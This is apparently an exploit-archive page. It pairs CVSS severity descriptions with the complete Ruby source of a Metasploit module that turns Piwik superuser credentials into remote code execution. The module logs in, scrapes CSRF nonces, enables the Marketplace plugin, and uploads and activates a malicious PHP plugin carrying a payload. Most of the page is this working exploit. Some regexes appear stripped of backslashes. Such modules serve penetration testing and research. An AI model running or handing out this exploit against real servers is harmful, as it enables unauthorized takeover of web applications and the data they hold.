The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Piwik Superuser Plugin Upload##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => 'Piwik Superuser Plugin Upload',
'Description' => %q{
This module will generate a plugin, pack the payload into it
and upload it to a server running Piwik. Superuser Credentials are
required to run this module. This module does not work against Piwik 1
as there is no option to upload custom plugins.
Tested with Piwik 2.14.0, 2.16.0, 2.17.1 and 3.0.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'FireFart' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://firefart.at/post/turning_piwik_superuser_creds_into_rce/' ]
],
'DisclosureDate' => 'Feb 05 2017',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Piwik', {}]],
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the Piwik installation', '/']),
OptString.new('USERNAME', [true, 'The Piwik username to authenticate with']),
OptString.new('PASSWORD', [true, 'The Piwik password to authenticate with'])
], self.class)
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def normalized_index
normalize_uri(target_uri, 'index.php')
end
def get_piwik_version(login_cookies)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => login_cookies,
'vars_get' => {
'module' => 'Feedback',
'action' => 'index',
'idSite' => '1',
'period' => 'day',
'date' => 'yesterday'
}
})
piwik_version_regexes = [
/<title>About Piwik ([w.]+) -/,
/content-title="About Piwik ([w.]+)"/,
/<h2 piwik-enriched-headlines+feature-name="Help"s+>About Piwik ([w.]+)/m
]
if res && res.code == 200
for r in piwik_version_regexes
match = res.body.match(r)
if match
return match[1]
end
end
end
# check for Piwik version 1
# the logo.svg is only available in version 1
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg')
})
if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/
return "1.x"
end
nil
end
def is_superuser?(login_cookies)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => login_cookies,
'vars_get' => {
'module' => 'Installation',
'action' => 'systemCheckPage'
}
})
if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/
return false
elsif res && res.body =~ /id="systemCheckRequired"/
return true
else
return false
end
end
def generate_plugin(plugin_name)
plugin_json = %Q|{
"name": "#{plugin_name}",
"description": "#{plugin_name}",
"version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}",
"theme": false
}|
plugin_script = %Q|<?php
namespace PiwikPlugins#{plugin_name};
class #{plugin_name} extends PiwikPlugin {
public function install()
{
#{payload.encoded}
}
}
|
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
zip.add_file("#{plugin_name}/plugin.json", plugin_json)
zip.pack
end
def exploit
print_status('Trying to detect if target is running a supported version of piwik')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index
})
if res && res.code == 200 && res.body =~ /<meta name="generator" content="Piwik/
print_good('Detected Piwik installation')
else
fail_with(Failure::NotFound, 'The target does not appear to be running a supported version of Piwik')
end
print_status("Authenticating with Piwik using #{username}:#{password}...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'vars_get' => {
'module' => 'Login',
'action' => 'index'
}
})
login_nonce = nil
if res && res.code == 200
match = res.body.match(/name="form_nonce" id="login_form_nonce" value="(w+)"/>/)
if match
login_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract login CSRF token') if login_nonce.nil?
cookies = res.get_cookies
res = send_request_cgi({
'method' => 'POST',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'Login',
'action' => 'index'
},
'vars_post' => {
'form_login' => "#{username}",
'form_password' => "#{password}",
'form_nonce' => "#{login_nonce}"
}
})
if res && res.redirect? && res.redirection
# update cookies
cookies = res.get_cookies
else
# failed login responds with code 200 and renders the login form
fail_with(Failure::NoAccess, 'Failed to authenticate with Piwik')
end
print_good('Authenticated with Piwik')
print_status("Checking if user #{username} has superuser access")
superuser = is_superuser?(cookies)
if superuser
print_good("User #{username} has superuser access")
else
fail_with(Failure::NoAccess, "Looks like user #{username} has no superuser access")
end
print_status('Trying to get Piwik version')
piwik_version = get_piwik_version(cookies)
if piwik_version.nil?
print_warning('Unable to detect Piwik version. Trying to continue.')
else
print_good("Detected Piwik version #{piwik_version}")
end
if piwik_version == '1.x'
fail_with(Failure::NoTarget, 'Piwik version 1 is not supported by this module')
end
# Only versions after 3 have a seperate Marketplace plugin
if piwik_version && Gem::Version.new(piwik_version) >= Gem::Version.new('3')
marketplace_available = true
else
marketplace_available = false
end
if marketplace_available
print_status("Checking if Marketplace plugin is active")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'Marketplace',
'action' => 'index'
}
})
fail_with(Failure::UnexpectedReply, 'Can not check for Marketplace plugin') unless res
if res.code == 200 && res.body =~ /The plugin Marketplace is not enabled/
print_status('Marketplace plugin is not enabled, trying to enable it')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'plugins'
}
})
mp_activate_nonce = nil
if res && res.code == 200
match = res.body.match(/<a href=['"]index.php?module=CorePluginsAdmin&action=activate&pluginName=Marketplace&nonce=(w+).*['"]>/)
if match
mp_activate_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract Marketplace activate CSRF token') unless mp_activate_nonce
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'activate',
'pluginName' => 'Marketplace',
'nonce' => "#{mp_activate_nonce}"
}
})
if res && res.redirect?
print_good('Marketplace plugin enabled')
else
fail_with(Failure::UnexpectedReply, 'Can not enable Marketplace plugin. Please try to manually enable it.')
end
else
print_good('Seems like the Marketplace plugin is already enabled')
end
end
print_status('Generating plugin')
plugin_name = Rex::Text.rand_text_alpha(10)
zip = generate_plugin(plugin_name)
print_good("Plugin #{plugin_name} generated")
print_status('Uploading plugin')
# newer Piwik versions have a seperate Marketplace plugin
if marketplace_available
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'Marketplace',
'action' => 'overview'
}
})
else
res = send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'marketplace'
}
})
end
upload_nonce = nil
if res && res.code == 200
match = res.body.match(/<form.+id="uploadPluginForm".+nonce=(w+)/m)
if match
upload_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract upload CSRF token') if upload_nonce.nil?
# plugin files to delete after getting our session
register_files_for_cleanup("plugins/#{plugin_name}/plugin.json")
register_files_for_cleanup("plugins/#{plugin_name}/#{plugin_name}.php")
data = Rex::MIME::Message.new
data.add_part(zip, 'application/zip', 'binary', "form-data; name="pluginZip"; filename="#{plugin_name}.zip"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalized_index,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'uploadPlugin',
'nonce' => "#{upload_nonce}"
}
)
activate_nonce = nil
if res && res.code == 200
match = res.body.match(/<a.*href="index.php?module=CorePluginsAdmin&action=activate.+nonce=([^&]+)/)
if match
activate_nonce = match[1]
end
end
fail_with(Failure::UnexpectedReply, 'Can not extract activate CSRF token') if activate_nonce.nil?
print_status('Activating plugin and triggering payload')
send_request_cgi({
'method' => 'GET',
'uri' => normalized_index,
'cookie' => cookies,
'vars_get' => {
'module' => 'CorePluginsAdmin',
'action' => 'activate',
'nonce' => "#{activate_nonce}",
'pluginName' => "#{plugin_name}"
}
}, 5)
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum